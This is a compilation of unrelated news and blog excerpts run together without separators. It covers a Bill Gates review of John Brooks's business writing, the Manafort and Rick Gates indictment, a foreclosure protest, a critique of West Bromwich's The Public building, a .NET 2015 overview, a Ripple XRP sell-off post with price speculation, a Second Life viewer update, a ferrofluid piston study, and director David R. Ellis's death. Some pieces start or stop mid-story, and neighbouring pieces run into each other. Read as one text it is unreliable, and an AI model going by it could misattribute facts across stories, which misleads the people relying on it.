"It's certainly true that many of the particulars of business have changed. But the fundamentals have not. Brooks's deeper insights about business are just as relevant today as they were back then," wrote Gates of Business Adventures. "Unlike a lot of today's business writers, Brooks didn't boil his work down into pat how-to lessons or simplistic explanations for success. (How many times have you read that some company is taking off because they give their employees free lunch?) You won't find any listicles in his work. Brooks wrote long articles that frame an issue, explore it in depth, introduce a few compelling characters and show how things went for them."
Gates highlights Brooks's coverage of Ford's Edsel fiasco, saying the journalist "refutes the popular explanations for why Ford's flagship car was such a historic flop. It wasn't because the car was overly poll-tested; it was because Ford's executives only pretended to be acting on what the polls said. 'Although the Edsel was supposed to be advertised, and otherwise promoted, strictly on the basis of preferences expressed in polls, some old-fashioned snake-oil selling methods, intuitive rather than scientific, crept in.' It certainly didn't help that the first Edsels 'were delivered with oil leaks, sticking hoods, trunks that wouldn't open and push buttons that … couldn't be budged with a hammer.'"
Alex Brooks told Quartz that "I think he was one of the first to consider business journalism as a sort of topic for just general popular readership. I think mostly before he came along business journalism was written for businessmen. The idea of telling business stories as just kind of entertaining pieces of reading was a real innovation."
Manafort and Rick Gates entered not guilty pleas in a Washington, D.C., court on Monday afternoon.
They are the first announced charges from special counsel Robert Mueller's investigation, which is also examining possible collusion between members of Trump's campaign and transition teams and foreign governments. Mueller has been given the authority to prosecute any alleged crimes that result from the course of the investigation.
A third former Trump adviser, George Papadopoulos, pleaded guilty in early October to lying to the FBI, it was also announced.
An indictment approved by a grand jury alleges Manafort and Gates conspired to defraud the United States "from in or about and between 2006 and 2017."
Paul Manafort, right, is seen with Donald Trump on July 21, 2016, at the Republican National Convention in Cleveland. Manafort alleges Special Counsel Robert Mueller's office's investigation into possible collusion between the Trump campaign and Russia has exceeded its legal authority. (Rick Wilking/Reuters)
The indictment says more than $75 million US flowed through Manafort's and Gates's offshore accounts. Manafort, the indictment alleges, laundered more than $18 million.
"The indictment contains 12 counts: conspiracy against the United States, conspiracy to launder money, unregistered agent of a foreign principal, false and misleading FARA statements, false statements, and seven counts of failure to file reports of foreign bank and financial accounts," the counsel said in a statement, referring to the Foreign Agents Registration Act.
Gates, 45, served as his deputy in the Trump campaign. Manafort and Gates are accused of generating tens of millions of dollars in income from work for Ukrainian political parties and leaders.
Manafort was indicted on nine counts and Gates was indicted on eight counts.
Manafort was released Monday on home confinement after posting a $10 million bond. Gates was released on a $5 million bond.
Sorry, but this is years ago, before Paul Manafort was part of the Trump campaign. But why aren't Crooked Hillary & the Dems the focus????? —@realDonaldTrump
....Also, there is NO COLLUSION! —@realDonaldTrump
If convicted, Manafort potentially would face up to 80 years in prison, according to a review of the federal charges and the relevant statutes by The Associated Press, while Gates would face up to 70 years.
Among other things, Mueller has been investigating Manafort's financial and real estate dealings and his prior work for that political group, the Party of Regions, which backed former Ukrainian leader Viktor Yanukovich, sources have told Reuters. In July, FBI agents raided Manafort's Virginia home.
Kevin Downing, attorney for Manafort, angrily rejected the charges in a statement outside the federal courthouse in Washington. Downing said the charges related to his client's offshore money transfers are "ridiculous."
Manafort allegations 'years ago': Trump
Manafort, 68, served the Trump campaign from June to August of 2016 before resigning amid reports that he might have received millions in illegal payments from a pro-Russian political party in Ukraine.
Investigations into Russian links with the Trump campaign, including Mueller's and probes by several congressional panels, have dogged Trump's presidency since the Republican took office in January and widened the partisan rift between Republicans and Democrats.
Rick Gates, a campaign aide to Republican presidential candidate Trump, surrendered to federal authorities Monday. He, too, pleaded not guilty to the charges against him. (Evan Vucci/Associated Press)
U.S. intelligence agencies concluded in January that Russia interfered in the election to try to help Trump defeat Democrat Hillary Clinton by hacking and releasing embarrassing emails and disseminating propaganda via social media to discredit her.
Trump has denied the allegations and called the probe "a witch hunt."
The president has also sought to shift attention to a uranium deal with a Russian firm that took place during Clinton's time as secretary of state and a dossier containing allegations about Trump and Russia that the Democrats were in possession of during the campaign.
Trump again made Clinton accusations in his first tweet since the Manafort indictment was announced. He characterized the allegations Manafort faced as predating the Trump campaign, although the indictment states the activities continued into 2017.
Sarah Huckabee Sanders, the White House press secretary, also rejected any connection to Trump's campaign in a briefing with reporters. When asked whether the president would consider pardons of any individuals found guilty in the criminal investigation, she said the administration would "let the process play" through.
Sanders said she didn't believe that the indictment was a commentary on the thoroughness, or lack thereof, of the vetting process of Trump campaign officials, or the president's judgment, given that the alleged activities were over a number of years.
Trump adviser sought Clinton 'dirt' during campaign
Mueller, a former director of the Federal Bureau of Investigation, has been looking into possible links between Trump aides and foreign governments, as well as potential money laundering, tax evasion and other financial crimes, according to sources familiar with the probe.
He also is exploring whether Trump or his aides have tried to obstruct the investigation, and on Monday, the special counsel's office announced that Papadopolous pleaded guilty on Oct. 5 to making false statements to FBI agents.
George Papadopolous, circled, is shown in a March 31, 2016, image released by the Trump campaign on the candidate's Instagram account. (Donald Trump/Instagram)
Papadopolous, a Chicago native and international energy lawyer, was part of Trump's advisory team during the 2016 presidential campaign.
The special counsel said Papadopoulos told FBI agents he had been in contact with an unnamed foreign "professor" who claimed to have "dirt" on Clinton in the form of "thousands of emails," and that Papadopolous claimed such contacts occurred before he joined Trump's campaign.
But the prosecutor said Papadopolous in fact did not meet the professor until after he joined Trump's campaign.
Court documents from the special counsel's office outline the charges and facts of Papadopoulos's case. They also look at sentencing, saying "your client's estimated sentencing guideline range is zero to six months imprisonment" along with a fine of between $500 and $9,500.
Trump has not yet commented on the Papadopolous plea but Sanders sought to diminish his role in the campaign, calling him a member of a volunteer advisory committee and that his plea relates to "his failure to tell the truth" and not campaign activities.
However in court documents released Monday, an unidentified campaign official is said to have advised Papadopoulos around May 2016 that Trump himself "is not doing these trips," but that "it should be someone low level in the campaign so as not to send any signal."
Sanders said "she was not aware of that conversation" and refused to comment.
Conservative allies attack Mueller
Mueller was appointed to lead the investigation a week after Trump's May 9 firing of FBI director James Comey, who was heading a federal probe into possible collusion with Russia.
AS IT HAPPENS | What Robert Mueller can and can't do as special counsel in the Trump-Russia probe
Trump initially said he fired Comey because his leadership of the FBI was inadequate. In a later interview with NBC, he cited "this Russia thing" as his reason.
Special counsel Robert Mueller is investigating whether Trump campaign officials colluded with Russia to meddle in the 2016 U.S. presidential election. (J. Scott Applewhite/Associated Press)
The White House said in the summer that Trump had no intention of firing Mueller even though he questioned his impartiality. The possibility of arrests and indictments spurred some of Trump's allies in conservative media outlets to call for Mueller's firing in recent days.
Democratic Senate leader Chuck Schumer on Monday called for the Trump administration to avoid interfering with the special prosecutor's probe.
In video obtained by Occupy Our Homes Atlanta, large men with assault rifles can be seen surrounding Carmen Pittman before one of the agents shocks her with a stun gun and she falls to the ground.
Pittman seems to writhe in agony on the ground for a few moments before a man in a yellow police shirt picks her up. As he restrains her, other officers place her in handcuffs.
“My every Christmas, my every Thanksgiving, my every birthday, my every dinner was in this house,” Pittman told The Huffington Post as she was fighting the foreclosure of her Atlanta home in 2011. “This was the base home. We could not stay away from this home. This home is my every memory.”
The Washington Post reported that 17 people were arrested out of the 100 or so demonstrators at the event organized by the Home Defenders League and Occupy Our Homes on Tuesday. The protesters were calling on Attorney General Eric Holder to prosecute Wall Street banks. Holder has said that such prosecutions would put the financial system at risk.
Occupy Our Homes has planed a Wall Street Accountability Week of Action in Washington, D.C. for May 18 through May 23.
Watch this video, uploaded to YouTube on May 21, 2013.
Marooned on the edge of New Street, like a great tanker cast adrift, the building has been a catalogue of catastrophes since it was conceived in the 1990s as an experimental home for interactive digital art. Intended as a new kind of art space for this ephemeral, immersive medium, it instead turned out to be a giant inflexible shed. With a riotous interior, dressed up by Will Alsop with the heady trappings of dynamic fluidity, it was in fact an intransigent container that foretold the institution’s demise in every detail of its fluorescent fabric.
Foil accident … one of the crumpled pods on the rear of The Public Photograph: David Levene/The Guardian
While the big black box now stands as a monument to an ill-conceived vision – the Black Country's great black elephant – the £72m complex was doomed before it even opened. Alsop was removed from the project in 2004, 17 months after construction had begun, when his practice went into receivership. After major cost over-runs caused by these delays, the charity set up to oversee the project also went into administration in 2006. When it finally opened its doors in 2008, two years late and £15m over budget, The Public's interactive galleries weren't even up and running – they remained closed due to technical difficulties, forcing the company into administration in 2009. With no other option, the project was rescued by Sandwell Council, which set up the Sandwell Arts Trust that now operates the building.
All the while, the Arts Council had pumped in £31m, as well as committed to £600,000 a year to fund the artistic programme of a building whose purpose remained utterly opaque. “In summary,” concluded a damning ACE report in 2011, “Arts Council England agreed to fund a building that was not fit for purpose.”
So what exactly goes on inside? From the street, the building reveals little. The black metal facade is punctuated with pink-framed windows in the shape of speech bubbles, like plaintive voices crying out from the abyss within. Around the back, it looks like someone's had an accident with a roll of kitchen foil, as crumpled metallic pods emerge, housing toilet and office blocks.
Facebook Twitter Pinterest 'A graveyard of interactive technologies with no apparent purpose' … one of the exhibits inside The Public. Photograph: Elliott Brown/flickr
The interior is one cavernous open space, through which a snaking ramp weaves between a world of suspended pods and inscrutable installations. This 350-metre long journey of discovery takes you from pink neon scribbles that writhe across the ceiling, through forests of metal trees, hung with monitors and panels of glowing light, to stepping-stone “flypads” that allow you to control computer characters with your feet. It is a jumble sale of bits and pieces, a graveyard of interactive technologies with no apparent purpose. It makes the Millennium Dome look like a triumph of curatorial coherence.
The whole place seems full of bewildered families traipsing around. “I was expecting interactive exhibits on a par with the Science Museum in London, though perhaps not on such a grand scale,” writes one parent on TripAdvisor. “In reality it was very disappointing … There is nothing there really for the kids to do, many of the touchscreens did not work and the things that were there had no explanation as to what you had to do, or indeed why you were doing them.”
Facebook Twitter Pinterest Flypad … one of the interactive exhibits in The Public, by Blast Theory
Besides the impenetrable interactive exhibits, which fill most of the building, there is a well-used 250-seat theatre – a valuable addition to a town that hadn't had such a venue for 40 years – as well as offices for a number of startup companies on the upper levels and a temporary exhibition space. But these are small returns for the £1.4m subsidy that must be stumped up annually by Sandwell Council, who look set to turn the building into a sixth form college instead.
The project's supporters feel it is only just beginning to come into its own, now that the New Square development has materialised next door. This £200m shopping complex features a vast Primark, a five-screen multiplex cinema and the largest Tesco in Britain – perhaps appropriate neighbours for The Public, in keeping with its big box vernacular.
Now that we’re approaching the next BUILD, I’m even more excited about the progress we’ve been making, particularly around the .NET platform itself, and the team’s approach to open source. There are multiple tracks of .NET innovations happening so I thought I’d write a high-level “sign-post” style blog post to help people understand the major pieces and how and where to get involved with the projects. In other words, a good place to start learning about .NET 2015. At least that’s my hope!
.NET 2015 – 10,000 foot view
At a very high level, here’s the rundown of the major components that fall under the “.NET 2015” umbrella.
It’s important to note that there are three key investment areas for .NET Core that influence the development of the major components.
.NET Innovation – bring the platform forward and innovate. We’re modernizing every layer including the languages, compilers, base class libraries, app models, runtimes and tools. Open Source – bring our engineering processes out in the open and develop with the help and support of the community, fostering a vibrant .NET ecosystem. Cross platform – expand .NET to the Linux and Mac platforms because our customers are operating in increasingly heterogeneous environments.
Major components of .NET 2015
Frameworks and Runtimes
The .NET Framework is a managed execution environment that provides a variety of services to its running applications. It consists of two major components: the common language runtime (CLR), which is the execution engine that handles running applications; and the .NET Framework Class Library, which provides a library of tested, reusable code that developers can call from their own applications.
.NET Framework 4.6 builds upon 4.5.2 and contains new APIs, improvements to event tracing, and many bug fixes. This is the next version of the full .NET Framework we know today. .NET Framework 4.6 will be included in Windows 10 and will also ship on Windows Update for previous OSes (Vista and above). See: .NET Framework 2015 Preview
.NET Core 5 is a general purpose, modular framework that can be used across a wide variety of app models and platforms, is available as open source, can be deployed modularly & locally (side-by-side), and will be supported by Microsoft on Windows, Linux and Mac OSX. It is a refactored set of base class libraries (corefx) and runtime (coreclr) which includes a new JIT compiler (“RyuJIT”), the .NET Garbage Collector, native interop and many other .NET runtime components. Today, .NET Core builds and runs on Windows. We are adding Linux and Mac implementations of platform-specific components over the next few months. See: Introducing .NET Core and CoreCLR is now Open Source.
If you click only one link from this post, make sure it is Introducing .NET Core. Immo goes into great detail explaining the reasons why we need it and how it fits.
Compilers
The .NET Compiler Platform ("Roslyn") provides open-source C# and Visual Basic compilers with rich code analysis APIs. It enables building code analysis tools with the same APIs that are used by Visual Studio. Roslyn produces platform independent Intermediate Language (IL) and is used when building against .NET 2015, including Framework and Core. At release, the entire .NET Framework will be compiled using Roslyn. There are also key language innovations in both VB and C#. See: Roslyn on GitHub. There are also innovations happening with F# language and compiler. See F# on GitHub.
“RyuJIT” is the new default just-in-time (JIT) compiler for .NET on x64. The JIT compiler takes IL and compiles it for the particular machine architecture the first time it is executed at run-time. Used for desktop and server-based scenarios, RyuJIT is an overhaul of the previous 64-bit JIT compiler that significantly reduces startup times. It also includes support for SIMD (single instruction, multiple data) which allows mathematical operations to execute over a set of values in parallel. This can offer a profound speed-up to certain types of apps that rely on vector operations. See: The next-generation JIT compiler for .NET
.NET Native compiles C# and VB to native machine code that performs like C++, so developers continue to benefit from the productivity and familiarity of the .NET Framework with the performance of native code. Typically, apps that target .NET are compiled to intermediate language (IL). At run time, the just-in-time (JIT) compiler translates the IL to native code. In contrast, .NET Native is an ahead-of-time compiler that compiles apps directly to native code and contains a minimal CLR runtime. Popular Windows Store apps start up to 60% faster and use 15-20% less memory when compiled with .NET Native. Universal Windows apps will run on .NET Native (ARM, x86, x64). See: Compiling Apps with .NET Native
App Models
App models extend the common libraries of .NET Framework 4.6 and .NET Core 5. Windows Forms, WPF, ASP.NET Web Forms, MVC 5, etc., app models that you are familiar with today are part of the .NET Framework 4.6, come with many new features, as well as benefit from the new innovations in the languages, Roslyn compiler, and RyuJIT. There’s a lot happening on the .NET 4.6 stack. See: ASP.NET Overview – What about Web Forms?, The Roadmap for WPF and .NET Framework 2015 Preview
Additionally, there are new app models that are designed to run on the optimized .NET Core 5.
ASP.NET 5 is a lean .NET app model for building modern web apps. It was built from the ground up to provide an optimized development framework for apps that are either deployed to the cloud or run on-premises. It consists of modular components with minimal overhead, so you retain flexibility while constructing your solutions. ASP.NET 5 can run on top of .NET Framework 4.6 or .NET Core 5. Today, ASP.NET 5 uses the Mono runtime to run on Linux and Mac. Once .NET Core supports Linux and Mac, then ASP.NET 5 will move to using .NET Core for those platforms. See: ASP.NET 5 Overview and Introducing ASP.NET 5
Universal Windows apps (a.k.a Universal Windows Platform) is an app-model that allows a single project to run across all Windows 10 devices – desktop, mobile, Xbox, IoT, Hololens. You no longer need separate projects for each device. Universal Windows apps will run on .NET Native which compiles IL to native machine code. See: Building universal Windows apps for all Windows devices and Getting Started with .NET Native
So what’s .NET Core, again?
.NET Core 5 is a general purpose, modular framework that can be used across a wide variety of app models and platforms because it is a refactored set of base class libraries (corefx) and runtime (coreclr). The APIs for the .NET Core base class libraries (BCL) is identical for the different app models. The APIs don’t just look the same – they share the same implementation. The majority of the APIs/assemblies are factored much more modularly and are platform independent.
App-local (or side-by-side) deployment is also a key characteristic of .NET Core. You choose the packages you need to deploy alongside your app. Modular packages are available via NuGet. This means your apps run in isolation and are not affected by machine-wide versions of the full .NET Framework. Your apps can be x-copy deployed without worry.
.NET Core is also supported by Microsoft on Windows, Linux and Mac OSX. .NET Core builds and runs on Windows today but we are adding Linux and Mac implementations of platform-specific components. And it’s all open source. It is hugely important to lay the foundation for .NET cross-platform and build a stronger ecosystem.
From code to running application – .NET Core development
I think it always helps when learning technology to have a mental model of how things work together. Here’s my simplistic view of developing apps with .NET Core, from the code/build/debug cycle to app deployment and execution. Deployment and execution is different depending on what app model you are targeting.
You write code taking very modular references to the parts of the BCL and App Model you need. Roslyn is the compiler that takes your code and produces platform independent Intermediate Language (IL). Besides the compiler pipeline, there is a rich set of APIs you can use to do all sorts of analysis on your code. If you’re using Visual Studio, there are a ton of new IDE features that utilize these APIs to give you a much more productive coding experience.
If you’re building a universal Windows app, the .NET Native tool chain takes it from there. References are built with your app into a native image deployed locally with a minimal runtime. If you’re building an ASP.NET 5 app, references and the CoreCLR are deployed with your app locally to the server. JIT compilation then happens on startup using RyuJIT.
Additionally, ASP.NET 5 allows you to make changes in your code, save the changes, and refresh the browser without explicitly re-building the project. Visual Studio uses Roslyn to enable this dynamic compilation. You still have all of the structure and power of a compiled framework, but the development experience feels more like an interpreted language.
Note: If you are targeting the full .NET Framework 4.6 then you will still enjoy the new innovations in the languages and Roslyn compiler. App deployment doesn’t change from how it’s done today, it still relies on having the full framework installed on the machine, but the JIT compilation happens with the new optimized JIT compiler, RyuJIT.
What is open right now?
Many of the pieces of .NET 2015 are open source and are under the stewardship of the .NET Foundation. We’re actively working out in the open with the community on these projects.
You can see all the repos and activity of all the projects in the .NET Foundation here on GitHub: http://dotnet.github.io/
Here’s a couple good places to get started. Check out the very detailed readme’s and contribution guides.
It’s also worth mentioning that the full .NET Framework is “source open”. Meaning, we’re not taking contributions and it’s not completely released under an OSI approved license, but you can explore all the source code here: http://referencesource.microsoft.com/
Engineering in the Open
OSS isn’t new to Microsoft, but it is new to the .NET runtime & libraries. It’s a pretty big deal to take a 15+ year old project that so many people have worked on internally for that long and move not only the code, but all the engineering processes out in the open. It takes time. That’s why the team started with a small set of base class libraries at first, and have been releasing more and more and learning along the way. Those learnings and best practices have rippled throughout the team. We’ve been humbled by the overwhelming support and contributions so far.
You might be thinking to yourself “I don’t have enough time in the day to build my own apps, let alone figure out how to write code for the CLR!” Fair enough, I’m with you! You choose how involved you want to be. You don’t have to write code to be a contributor. File an issue, comment on a proposal, answer a question. Or just hang around and watch the activity.
You might be thinking “I don’t want to lose the simplicity nor the quality or support that I’m used to!” Don’t worry! We’re still dedicated to the same level of quality and service as before. To think of it simply, all we’re doing is taking our engineering out in the open. Everything that we had previously done internally to build quality software is still in place, it’s just now done publicly.
I’m truly excited about this new culture on the team and the future of .NET.
Enjoy!
KEY UPDATE, 5/25/14: Ripple Labs intends to sue Jesse Powell per Powell’s post on Reddit. Read my post Ripple soap opera continues with board member’s resignation.
The ripple train wreck started yesterday at May 21, 2014, at 04:18 a.m. when Jed McCaleb logged onto XRPTalk’s forum and wrote that he’s planning to sell off his 9 billion XRPs.
Hi Everyone,
I started working on ripple in the summer of 2011. I soon hired Arthur and David to help me. In 2012, I met Chris Larsen. He joined us about 5 months before ripple was launched. Chris, Arthur and I kept 20 billion XRP, of which 9 billion were mine. We gave the remaining 80 billion to OpenCoin.
I have given away and donated some of my 9 billion XRP to charities such as MIRI, Literacy Bridge, Give Directly, Mission Bit and others. I plan to start selling all of my remaining XRP beginning in two weeks. Because I have immense respect for the community members and want to be transparent, I’m publicly announcing this before I start. So just fyi…. xrp sales incoming.
Thanks,
Jed.
Not much happened at first as people weren’t sure whether the post was authentic. Anticipating skepticism, Jed posted the message with a Keybase OpenPGP Signature and later made a transaction from a large ripple account to prove it was him. Ripple prices reacted by falling by more than 50 percent, and they haven’t shown any sign of abating.
Why the sell-off?
Interestingly, the price of XRP has plunged significantly and Jed hasn’t sold a single XRP yet! Per his message, he won’t start selling his XRP for “two weeks,” which we can assume means June 4, 2014. XRP investors see clouds on the horizon, and they’re running for the hills. Here are two theories on why:
Investors are getting out before the XRP market size more than doubles. Investors could be assuming that Jed’s exit from XRP indicates that he doesn’t believe the platform will succeed.
Point No. 1 is rational. There are currently about 7.8 billion XRP trading on the open market. Jed didn’t indicate how many of his 9 billion XRP he’s given away, but let’s just pick a number of the air and say he’s given away half a billion XRP. That still leaves another 8.5 billion XRP that will soon flood what’s effectively a tiny market.
So, we’ve got the XRP market size going from 7,817,888,647 XRP to 16,817,888,647 XRP in the span of a few weeks (or months depending on how long Jed spreads out his sales).
Point No. 2 is more troubling. However, I believe fears over ripple’s future are unfounded. The company’s in the capable hands of Chris Larsen (formerly of Prosper.com), Arthur Britto and their team of 52 employees.
“The short-term price of XRP does not hinder our ability to execute on the vision,” Britto said today in a post on Ripple’s official forums. “Our company is well-funded. We’re not dependent on XRP.”
What does McCaleb’s sell-off mean?
Theory No. 1: He wants to move on and forget about ripple.
That’s something of a pattern for the entrepreneur. He started Mt. Gox in July 2010, then sold it March 2011 to focus on Ripple. By May of 2011, he was at work on Ripple, hiring Chris Larsen and building out the protocol. He left Ripple in July of 2013, and since then he’s been at work on a secret bitcoin project.
At this point, all we really know about McCaleb’s departure from ripple comes from a choppy video where he says “I left in the summer due to disagreements with the person I brought on to be CEO.”
I’m not sure McCaleb’s the kind of guy who likes to stick with one project for years, though. His sale of Mt. Gox is evidence of that, and I think it’s a trait that a lot of creatives share.
Theory No. 2: He doesn’t think ripple will succeed.
Why sell nearly 9 billion ripple if you think the currency could appreciate substantially and forever alter the global financial system? If he believes ripple will ultimately fail, selling now is a way to get value out of the 2+ years he spent working on ripple.
Theory No. 3: He’s low on cash or he needs to raise cash for his new venture.
Start-ups aren’t cheap. It’s not outside of the realm of possibility that he needs funds to hire programmers, pay lawyers or launch a marketing campaign for his new bitcoin project.
Theory No. 4: He thinks his latest start-up will kill off ripple.
If he’s come up with the next big idea in cryptocurrency (and if anyone could do that, I’d say it’s Jed), he might see the writing on the wall and assume ripple will be out-classed by his new “secret” project.
I’ve got an email out to Jed to see if he’s willing to share some thoughts with me in an interview, but in the meantime, all we can do is speculate.
If you want my unsolicited opinion, I’d say it’s a combination of all four theories above. Why? If Jed didn’t need the money, he’d probably donate the XRP to a worthy cause. He’s a tinkerer who likes working on new projects, and if he didn’t think his current project was the next big thing I doubt he’d be working on it (working on small, purely profit-driven projects doesn’t seem to be in Jed’s DNA).
What’s in store for ripple now?
As I mentioned above, the XRP market will go from 7,817,888,647 XRP to 16,817,888,647 XRP in the span of a few weeks. That’s more than twice the current market size, which means ripple prices should logically fall by more than 50 percent … and they already have.
In the 24 hours since Jed’s announcement, ripple prices fell 53 percent from $0.006 to $0.0026 – and Jed hasn’t sold a single XRP! That means, look out below. We could see a plunge upwards of 90 percent or more once Jed starts selling in earnest. If that happens, look for XRP prices around $0.0006!
Prices are going to keep falling. And once they stabilize, I plan to buy more XRP. I’ll buy more because I believe in the protocol and its requisite currency. Until bitcoin gets transaction times down to seconds rather than minutes or a new, more impressive peer-to-peer payments system that handles multiple currencies is unveiled, I’m sticking with what’s already been released, enjoys a growing user-base and has the capital to continue operations well into the future. If Jed launches a bitcoin-based competitor that improves upon ripple’s functionality, I may very well sell my XRP and move on. Right now, though, I still believe XRP is in a class of its own.
Before I go, too, I want to point out two big takeaways from all this. First, Jed made a rather stand-up move by pre-announcing his sale of XRP. I’m not sure everyone would have done that. Secondly, I believe that this shake up has made it clear to Ripple Labs that they need to be more transparent with their XRP distribution model. Indeed, they had this to say:
“We’ve heard and shared your concern about the founders’ XRP allotment. Prior to today, we’ve been working on a founders’ XRP lock up plan, which Chris and I are participating in. You can rest assured that a dumping event like this won’t happen from other co-founders.”
Even beyond the founders allotment, though, we need some sort of rough timetable for the release of the other 72 billion XRP that Ripple Labs controls. Until that happens, investors can’t be sure whether their investment in XRP will steadily rise or tumble 50 percent in a day. That sort of volatility scares away not just investors but the institutions who might adopt the ripple protocol as well. A commitment from Ripple Labs to release between (x) and (y) percent of their ripple holdings annually would go a long way toward stabilizing the currency.
Want to read more more? Check out my post on the best Jed McCaleb quotes of all time or my post on the top 20 quotes from the co-founder of Ripple Labs, Chris Larsen. I also regularly update my ripple price prediction page, and earlier today, I posted this: One screenshot showing why ripple will rule them all.
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Commenting on the updates, which can be found in CtrlAltStudio release Alpha 5 1.1.0.34376 (Windows only), Dave explains:
In the time-honoured tradition of making things do that which they weren’t quite designed for, I’ve added a variable walking speed to the CtrlAltStudio Viewer, Alpha 5 1.1.0.34376. I’ve also added “spot standing” Kinect control of avatar movement for people to try out. These two items can be used with all display modes: normal, stereoscopic 3D, and Oculus Rift.
The variable walk speed came about as a result of some issues when walking / flying in-world when using the Rift, and Dave was pointed in the direction of a possible solution after reading a Firestorm JIRA raised by Adeon Writer requesting that the ability to more easily toggle between “full” and “quarter” speed movement when walking, running or crouching than solely by pressing and holding the spacebar.
Dave notes that his solution, which employs a slider in the Movement sub-tab of Preferences > Move and View, may not be ideal at present, and only affects avatar walking speeds. He also notes it may not work properly on OpenSim Grids or with the SpaceNavigator (at least at present in the case of the latter).
In all the slider has five presets, from “slow” (left) to “normal” (right). When using the viewer, I found that with the mid-point “half speed” and the preset between it and “normal”, my avatar (on an uncrowded region) moved forward reasonably well and was relatively responsive when turning as I walked. Walking backwards was also OK, although if you enable the option to turn your avatar around when walking “backwards”, you may find your avatar’s movement becomes jerky and it constantly tries to turn and put its back to you; something which becomes more pronounced at the lower settings.
I found the “slow” setting to be somewhat akin to being caught in a heavy lag situation, but without any accompanying rubber-banding or sudden speed-ups with walking; my avatar moved very slowly and was subject to intermittent pauses and froze on a couple of occasions, requiring me to adjust the slider more to the right.
While this may not sound promising, do remember that this is only the first cut at the work on Dave’s part.
Kinect Gesture Support
As well as the variable walking speed, Dave has also added gesture support for the viewer, which can be used via the Microsoft Kinect system. The supported gestures allow you to set your avatar walking, stop it, turn it around and fly up and down or stop gesture-driven control. He’s produced a set of easy-to-understand drawings of the gestures for each, and notes that you can also stop gesture-driven motion by walking out of the Kinect’s sensor range, and also fly down by crouching.
In discussing the use of the variable walk slider and the Kinect options, Dave notes:
The variable walk speed improves the usability of Kinect “spot standing” control, usable in Windows builds on PCs with Kinect for Windows sensors installed. You set a “home” position of zero movement, then once you move out of a dead zone around that position your avatar starts moving in the direction you’ve moved in. Avatar movement starts off slow and increases speed as you move further out, with the maximum being that of the walk speed you’ve configured. Except that for forwards movement you start running after the maximum walk speed.
Even if you don’t have either active stereoscopic glasses or an Oculus Rift headset, but you do have a Kinect system (with Runtime or Software Development Kit installed on your PC), you can still use the Alpha 5 version of CtrlAltStudio to try both the variable speed walk and the gesture controls out – just leave both the Stereoscopic and Oculus options disabled. Note you do not have to have Kinect in order to try-out the variable speed walking.
A further change with this release is the inclusion of a Prediction Delta slider with the Oculus Rift options. Again, as Dave notes in his blog:
Sensor prediction helps reduce latency and you can configure how far into the future your orientation is predicted. With your Rift on, adjust the Prediction Delta value until moving your head feels most comfortable.
You can find out about these , and the other updates within the Alpha 5 version of CtrlAltStudio via the release notes.
CtrlAltStudio Adopted and Adapted by St. Andrew’s University
Dave’s work on CtrlAltStudio has not gone unnoticed. None other than St. Andrews University in Scotland have adopted and adapted it as a part of their own work to create a new viewer they’ve called ACE.
Faculty members and students at the university have been using virtual environments for historical reconstructions as a part of their Open Virtual Worlds project for some time now, running their own dedicated OpenSim grid (which is hypergrid enabled, or people can access by creating a log-in account).
Project members have now taken Dave’s work with CtrlAltStudio viewer and combined it with their own Kinect bindings created as a part of their Chimera project in order to produce their own ACE (Armadillo Control Extensions) viewer. This can be used to explore and experience their in-world reconstructions using Oculus Rift and without the need for any physical device to assist them.
The ACE viewer also requires the installation of the Kinect Runtime or SDK to be installed on the host computer in order to work, but once these and the viewer are installed, it can be used to connect to any grid (OpenSim or SL).
A blog post on the ACE viewer is available on the Open Virtual Worlds blog, as is a video demonstrating it in use.
Related Links
CtrlAltStudio
Open Virtual Worlds Project
Kinect Runtime & SDK (required for Kinect use)
Researchers at Rensselaer Polytechnic Institute embedded drops of ferrofluid, a liquid infused with magnetic nanoparticles, into a thin substrate that was submerged in water. Then they exposed the device to a magnetic field to make one of the droplets vibrate back and forth (up or down in the image above), which caused its partner to oscillate in a mirror pattern. This ballet displaces teeny amounts of liquid, moving it from one chamber to another, according to Amir H. Hirsa, a mechanical engineering professor at Rensselaer. The piston is superfast, allowing micro-scale devices with cycling speeds in the kilohertz range.
The liquid piston has no moving mechanical pieces, so it never suffers wear and tear, according to a Rensselaer news release. The droplet duo could be used in a wide array of devices that require reliable resonator action, like an implantable chip that slowly pumps drugs from one chamber to another, Hirsa said.
What's more, the droplets' shape constantly changes as they vibrate, so if you pass light through them, they function as a lens that automatically changes its focal length. Hirsa and colleagues took some video from these liquid lenses and they say its quality is comparable to a typical computer web cam. You would need special software to filter out the blurry frames, but Hirsa says it could work for handheld electronic devices as well as potential replacement eye lenses. So instead of a cool pair of frames, you could wear magnets on your head to fine-tune your vision.
Other nanoresonators we've seen involve trapping light at different wavelengths to produce a high-definition display. This device would instead focus light to obtain a sharp picture.
The droplets' speed and vibration strength can be controlled by changing the strength of the magnetic field, according to Rensselaer.
The liquid piston is described in the journal Lab on a Chip.
“Get off,” Ellis said.
The 60-year-old, a chameleon of the entertainment industry who worked as an actor and stuntman earlier in his career, was found dead in the bathroom of his hotel room in the upscale neighborhood of Sandton in Johannesburg.
Police said Tuesday that the hotel manager discovered Ellis’ body at around 1 p.m. Monday. Ellis, 60, was last seen Saturday in a restaurant by a friend, reported the South African Press Association.
“Nothing was found to be missing from his room and no foul play is being suspected at this stage,” said Lt. Col. Lungelo Dlamini, a police spokesman, told the news agency.
“The U.S. Embassy has been informed and are believed to be making necessary arrangements for the body to be taken to his own country,” Dlamini said.
SAPA said an autopsy was conducted Tuesday morning, but the cause of death was still unknown.
Ellis was in Johannesburg working on “Kite,” a remake of the 1998 Japanese anime film that was to have starred Jackson, who tweeted his condolences after hearing of the director’s death.
Ellis’ directing credits include “Shark Night 3D,” “The Final Destination,” “Cellular” and “Final Destination 2.” He also worked on such films as “Misery,” “Harry Potter and the Sorcerer’s Stone” and “Waterworld.” Ellis began his Hollywood career as an actor in the 1970s before moving into stunts and directing.
“Snakes on a Plane” was a raucous ride that alternately delighted or appalled critics. Jackson played a law enforcement agent whose job is to protect a murder witness, and the criminals who would rather he didn’t testify try to take him out by releasing a batch of poisonous snakes on a long-haul flight over the ocean.
“This is a movie that is uniquely, ideally suited for the rowdy, crowded communal experience, the likes of which we haven’t seen since ‘The Rocky Horror Picture Show,'” Associated Press film critic Christy Lemire wrote in a review. She called the movie, “intense and suspenseful, scary and gory, darkly funny and sometimes giddily hysterical.”
It helped that bloggers created an Internet buzz that heightened anticipation before the film’s release in a case study of how social media could spotlight what many might have dismissed as campy, B-grade, forgettable movie fare.
